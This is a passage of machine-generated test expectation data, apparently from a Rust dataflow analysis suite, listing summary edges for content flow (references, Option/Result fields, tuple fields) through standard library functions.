file://:0:0:0:0 | [summary] to write: Argument[1].Reference in lang:core::_::<_ as crate::clone::uninit::CopySpec>::clone_one | &ref | file://:0:0:0:0 | [post] [summary param] 1 in lang:core::_::<_ as crate::clone::uninit::CopySpec>::clone_one | -| file://:0:0:0:0 | [summary] to write: Argument[1].Reference in lang:std::_::crate::io::BufRead::read_until | &ref | file://:0:0:0:0 | [post] [summary param] 1 in lang:std::_::crate::io::BufRead::read_until | -| file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0].Reference in lang:core::_::crate::cmp::max_by | &ref | file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0] in lang:core::_::crate::cmp::max_by | -| file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0].Reference in lang:core::_::crate::cmp::max_by_key | &ref | file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0] in lang:core::_::crate::cmp::max_by_key | -| file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0].Reference in lang:core::_::crate::cmp::min_by | &ref | file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0] in lang:core::_::crate::cmp::min_by | -| file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0].Reference in lang:core::_::crate::cmp::min_by_key | &ref | file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0] in lang:core::_::crate::cmp::min_by_key | -| file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0].Reference in lang:core::_::crate::cmp::minmax_by | &ref | file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0] in lang:core::_::crate::cmp::minmax_by | -| file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0].Reference in lang:core::_::crate::cmp::minmax_by_key | &ref | file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0] in lang:core::_::crate::cmp::minmax_by_key | -| file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0].Reference in lang:std::_::::wait_timeout_while | &ref | file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0] in lang:std::_::::wait_timeout_while | -| file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[1].Reference in lang:core::_::crate::cmp::max_by | &ref | file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[1] in lang:core::_::crate::cmp::max_by | -| file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[1].Reference in lang:core::_::crate::cmp::min_by | &ref | file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[1] in lang:core::_::crate::cmp::min_by | -| file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[1].Reference in lang:core::_::crate::cmp::minmax_by | &ref | file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[1] in lang:core::_::crate::cmp::minmax_by | -| file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[1].Reference in lang:core::_::crate::slice::sort::shared::smallsort::sort4_stable | &ref | file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[1] in lang:core::_::crate::slice::sort::shared::smallsort::sort4_stable | -| file://:0:0:0:0 | [summary] to write: Argument[3].Parameter[1].Reference in lang:core::_::crate::slice::sort::stable::drift::sort | &ref | file://:0:0:0:0 | [summary] to write: Argument[3].Parameter[1] in lang:core::_::crate::slice::sort::stable::drift::sort | -| file://:0:0:0:0 | [summary] to write: Argument[4].Parameter[1].Reference in lang:core::_::crate::slice::sort::stable::quicksort::quicksort | &ref | file://:0:0:0:0 | [summary] to write: Argument[4].Parameter[1] in lang:core::_::crate::slice::sort::stable::quicksort::quicksort | -| file://:0:0:0:0 | [summary] to write: Argument[self].Element in lang:core::_::::for_each | element | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::for_each | -| file://:0:0:0:0 | [summary] to write: Argument[self].Element in lang:core::_::::map | element | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::map | -| file://:0:0:0:0 | [summary] to write: Argument[self].Element in lang:core::_::crate::iter::traits::iterator::Iterator::for_each | element | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::crate::iter::traits::iterator::Iterator::for_each | -| file://:0:0:0:0 | [summary] to write: Argument[self].Element in lang:core::_::crate::iter::traits::iterator::Iterator::map | element | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::crate::iter::traits::iterator::Iterator::map | -| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::option::Option::Some(0)] in lang:core::_::::and_then | Some | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::and_then | -| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::option::Option::Some(0)] in lang:core::_::::is_none_or | Some | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::is_none_or | -| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::option::Option::Some(0)] in lang:core::_::::is_some_and | Some | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::is_some_and | -| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::option::Option::Some(0)] in lang:core::_::::map_or | Some | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::map_or | -| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::option::Option::Some(0)] in lang:core::_::::map_or_else | Some | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::map_or_else | -| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::option::Option::Some(0)] in lang:core::_::::zip_with | Some | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::zip_with | -| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::result::Result::Err(0)] in lang:core::_::::is_err_and | Err | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::is_err_and | -| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::result::Result::Err(0)] in lang:core::_::::map_err | Err | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::map_err | -| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::result::Result::Err(0)] in lang:core::_::::map_or_else | Err | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::map_or_else | -| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::result::Result::Err(0)] in lang:core::_::::or_else | Err | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::or_else | -| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::result::Result::Err(0)] in lang:core::_::::unwrap_or_else | Err | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::unwrap_or_else | -| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::result::Result::Ok(0)] in lang:core::_::::and_then | Ok | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::and_then | -| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::result::Result::Ok(0)] in lang:core::_::::is_ok_and | Ok | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::is_ok_and | -| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::result::Result::Ok(0)] in lang:core::_::::map_or | Ok | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::map_or | -| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::result::Result::Ok(0)] in lang:core::_::::map_or_else | Ok | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::map_or_else | -| file://:0:0:0:0 | [summary] to write: Argument[self].Reference in lang:alloc::_::::add_assign | &ref | file://:0:0:0:0 | [post] [summary param] self in lang:alloc::_::::add_assign | -| file://:0:0:0:0 | [summary] to write: Argument[self].Reference in lang:alloc::_::::clone_from | &ref | file://:0:0:0:0 | [post] [summary param] self in lang:alloc::_::::clone_from | -| file://:0:0:0:0 | [summary] to write: Argument[self].Reference in lang:core::_::::get_or_insert | &ref | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::get_or_insert | -| file://:0:0:0:0 | [summary] to write: Argument[self].Reference in lang:core::_::::insert | &ref | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::insert | -| file://:0:0:0:0 | [summary] to write: Argument[self].Reference in lang:core::_::::replace | &ref | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::replace | -| file://:0:0:0:0 | [summary] to write: Argument[self].Reference in lang:core::_::::clone_from | &ref | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::clone_from | -| file://:0:0:0:0 | [summary] to write: Argument[self].Reference in lang:core::_::::clone_from | &ref | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::clone_from | -| file://:0:0:0:0 | [summary] to write: Argument[self].Reference in lang:std::_::<&[u8] as crate::io::BufRead>::consume | &ref | file://:0:0:0:0 | [post] [summary param] self in lang:std::_::<&[u8] as crate::io::BufRead>::consume | -| file://:0:0:0:0 | [summary] to write: Argument[self].Reference in lang:std::_::<&[u8] as crate::io::Read>::read_buf_exact | &ref | file://:0:0:0:0 | [post] [summary param] self in lang:std::_::<&[u8] as crate::io::Read>::read_buf_exact | -| file://:0:0:0:0 | [summary] to write: Argument[self].Reference in lang:std::_::<&[u8] as crate::io::Read>::read_exact | &ref | file://:0:0:0:0 | [post] [summary param] self in lang:std::_::<&[u8] as crate::io::Read>::read_exact | -| file://:0:0:0:0 | [summary] to write: Argument[self].Reference in lang:std::_::<&[u8] as crate::io::Read>::read_to_end | &ref | file://:0:0:0:0 | [post] [summary param] self in lang:std::_::<&[u8] as crate::io::Read>::read_to_end | -| file://:0:0:0:0 | [summary] to write: Argument[self].Reference in lang:std::_::<&[u8] as crate::io::Read>::read_to_string | &ref | file://:0:0:0:0 | [post] [summary param] self in lang:std::_::<&[u8] as crate::io::Read>::read_to_string | -| file://:0:0:0:0 | [summary] to write: Argument[self].Reference in lang:std::_::<&[u8] as crate::io::copy::BufferedReaderSpec>::copy_to | &ref | file://:0:0:0:0 | [post] [summary param] self in lang:std::_::<&[u8] as crate::io::copy::BufferedReaderSpec>::copy_to | -| file://:0:0:0:0 | [summary] to write: Argument[self].Reference.Field[crate::option::Option::Some(0)] in lang:core::_::::get_or_insert | Some | file://:0:0:0:0 | [summary] to write: Argument[self].Reference in lang:core::_::::get_or_insert | -| file://:0:0:0:0 | [summary] to write: Argument[self].Reference.Field[crate::option::Option::Some(0)] in lang:core::_::::insert | Some | file://:0:0:0:0 | [summary] to write: Argument[self].Reference in lang:core::_::::insert | -| file://:0:0:0:0 | [summary] to write: Argument[self].Reference.Field[crate::option::Option::Some(0)] in lang:core::_::::replace | Some | file://:0:0:0:0 | [summary] to write: Argument[self].Reference in lang:core::_::::replace | -| file://:0:0:0:0 | [summary] to write: Argument[self].Reference.Reference in lang:std::_::<&[u8] as crate::io::BufRead>::consume | &ref | file://:0:0:0:0 | [summary] to write: Argument[self].Reference in lang:std::_::<&[u8] as crate::io::BufRead>::consume | -| file://:0:0:0:0 | [summary] to write: Argument[self].Reference.Reference in lang:std::_::<&[u8] as crate::io::Read>::read_buf_exact | &ref | file://:0:0:0:0 | [summary] to write: Argument[self].Reference in lang:std::_::<&[u8] as crate::io::Read>::read_buf_exact | -| file://:0:0:0:0 | [summary] to write: Argument[self].Reference.Reference in lang:std::_::<&[u8] as crate::io::Read>::read_exact | &ref | file://:0:0:0:0 | [summary] to write: Argument[self].Reference in lang:std::_::<&[u8] as crate::io::Read>::read_exact | -| file://:0:0:0:0 | [summary] to write: Argument[self].Reference.Reference in lang:std::_::<&[u8] as crate::io::Read>::read_to_end | &ref | file://:0:0:0:0 | [summary] to write: Argument[self].Reference in lang:std::_::<&[u8] as crate::io::Read>::read_to_end | -| file://:0:0:0:0 | [summary] to write: Argument[self].Reference.Reference in lang:std::_::<&[u8] as crate::io::Read>::read_to_string | &ref | file://:0:0:0:0 | [summary] to write: Argument[self].Reference in lang:std::_::<&[u8] as crate::io::Read>::read_to_string | -| file://:0:0:0:0 | [summary] to write: Argument[self].Reference.Reference in lang:std::_::<&[u8] as crate::io::copy::BufferedReaderSpec>::copy_to | &ref | file://:0:0:0:0 | [summary] to write: Argument[self].Reference in lang:std::_::<&[u8] as crate::io::copy::BufferedReaderSpec>::copy_to | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Element in lang:core::_::::collect | element | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::collect | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Element in lang:core::_::crate::cmp::minmax | element | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::cmp::minmax | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Element in lang:core::_::crate::cmp::minmax_by | element | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::cmp::minmax_by | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Element in lang:core::_::crate::cmp::minmax_by_key | element | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::cmp::minmax_by_key | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Element in lang:core::_::crate::iter::traits::iterator::Iterator::collect | element | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::iter::traits::iterator::Iterator::collect | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::<[_]>::align_to | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::<[_]>::align_to | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::<[_]>::align_to_mut | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::<[_]>::align_to_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::<[_]>::partition_dedup_by | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::<[_]>::partition_dedup_by | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::div_rem_small | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::div_rem_small | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::div_rem_small | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::div_rem_small | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::unzip | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::unzip | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::overflowing_div | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::overflowing_div | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::overflowing_div_euclid | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::overflowing_div_euclid | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::overflowing_div | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::overflowing_div | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::overflowing_div_euclid | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::overflowing_div_euclid | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::overflowing_div | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::overflowing_div | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::overflowing_div_euclid | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::overflowing_div_euclid | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::overflowing_div | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::overflowing_div | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::overflowing_div_euclid | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::overflowing_div_euclid | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::overflowing_div | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::overflowing_div | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::overflowing_div_euclid | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::overflowing_div_euclid | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::overflowing_div | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::overflowing_div | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::overflowing_div_euclid | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::overflowing_div_euclid | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0].Field[crate::option::Option::Some(0)] in lang:core::_::::unzip | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::unzip | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::find_lower_bound_edge | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::find_lower_bound_edge | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::find_upper_bound_edge | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::find_upper_bound_edge | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::unzip | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::unzip | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::crate::slice::sort::shared::find_existing_run | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::slice::sort::shared::find_existing_run | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::option::Option::Some(0)] in lang:core::_::::unzip | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::unzip | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::then | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::then | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::then_some | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::then_some | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::nth_back | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::nth_back | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::nth_back | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::nth_back | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::get | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::get | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::get_mut | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::get_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::clone | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::clone | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::from | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::from_output | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from_output | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::and_then | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::and_then | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::as_mut | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::as_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::as_ref | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::as_ref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::cloned | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::cloned | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::copied | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::copied | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::zip | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::zip | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::zip_with | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::zip_with | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::nth | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::nth | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::nth | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::nth | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::nth | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::nth | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::err | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::err | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::ok | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::ok | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::transpose | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::transpose | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::last | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::last | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::next | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::next | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::nth | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::nth | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::nth | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::nth | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::matching | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::matching | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::checked_abs | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::checked_abs | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::checked_next_multiple_of | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::checked_next_multiple_of | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::checked_abs | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::checked_abs | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::checked_next_multiple_of | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::checked_next_multiple_of | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::checked_abs | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::checked_abs | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::checked_next_multiple_of | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::checked_next_multiple_of | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::checked_abs | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::checked_abs | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::checked_next_multiple_of | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::checked_next_multiple_of | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::checked_abs | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::checked_abs | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::checked_next_multiple_of | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::checked_next_multiple_of | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::checked_abs | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::checked_abs | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::checked_next_multiple_of | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::checked_next_multiple_of | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::checked_next_multiple_of | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::checked_next_multiple_of | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::checked_next_multiple_of | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::checked_next_multiple_of | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::checked_next_multiple_of | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::checked_next_multiple_of | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::checked_next_multiple_of | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::checked_next_multiple_of | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::checked_next_multiple_of | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::checked_next_multiple_of | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::checked_next_multiple_of | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::checked_next_multiple_of | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::crate::iter::traits::iterator::Iterator::next | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::iter::traits::iterator::Iterator::next | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::crate::iter::traits::iterator::Iterator::nth | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::iter::traits::iterator::Iterator::nth | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:proc_macro::_::::next | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::next | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[0] in lang:core::_::::zip | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::zip | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[0] in lang:core::_::::matching | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::matching | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[1] in lang:core::_::::zip | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::zip | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[1] in lang:core::_::::matching | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::matching | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::result::Result::Err(0)] in lang:core::_::::transpose | Err | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::transpose | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::result::Result::Ok(0)] in lang:core::_::::transpose | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::transpose | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::from | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::from | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::as_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::as_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::as_ref | &ref | file://:0:0:0:0 | [summary] to write: 